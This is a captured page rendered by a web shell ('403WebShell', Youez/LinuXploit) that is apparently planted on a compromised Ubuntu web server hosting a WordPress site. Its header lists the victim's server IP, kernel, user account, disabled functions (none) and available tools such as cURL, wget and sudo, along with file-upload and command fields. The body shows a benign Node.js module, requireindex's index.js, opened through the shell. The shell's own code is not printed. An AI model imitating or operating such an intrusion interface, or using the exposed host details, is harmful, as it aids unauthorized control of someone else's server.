Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/node_modules/@webassemblyjs/node_modules/requireindex/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/@webassemblyjs/node_modules/requireindex/index.js
var FS   = require('fs');
var Path = require('path');

module.exports = function (dir, basenames) {
  var requires = {};

  if (arguments.length === 2) {
    // if basenames argument is passed, explicitly include those files
    basenames.forEach(function (basename) {
      var filepath = Path.resolve(Path.join(dir, basename));
      requires[basename] = require(filepath);
    });

  } else if (arguments.length === 1) {
    // if basenames arguments isn't passed, require all javascript
    // files (except for those prefixed with _) and all directories

    var files = FS.readdirSync(dir);

    // sort files in lowercase alpha for linux
    files.sort(function (a,b) {
      a = a.toLowerCase();
      b = b.toLowerCase();

      if (a < b) {
        return -1;
      } else if (b < a) {
        return 1;
      } else {
        return 0;
      }
    });

    files.forEach(function (filename) {
      // ignore index.js and files prefixed with underscore and
      if ((filename === 'index.js') || (filename[0] === '_') || (filename[0] === '.')) {
        return;
      }

      var filepath = Path.resolve(Path.join(dir, filename));
      var ext      = Path.extname(filename);
      var stats    = FS.statSync(filepath);

      // don't require non-javascript files (.txt .md etc.)
      var exts = ['.js', '.node', '.json'];
      if (stats.isFile() && (exts.indexOf(ext) === -1)) {
        return;
      }

      var basename = Path.basename(filename, ext);

      requires[basename] = require(filepath);
    });

  } else {
    throw new Error("Must pass directory as first argument");
  }

  return requires;
};

Youez - 2016 - github.com/yon3zu
LinuXploit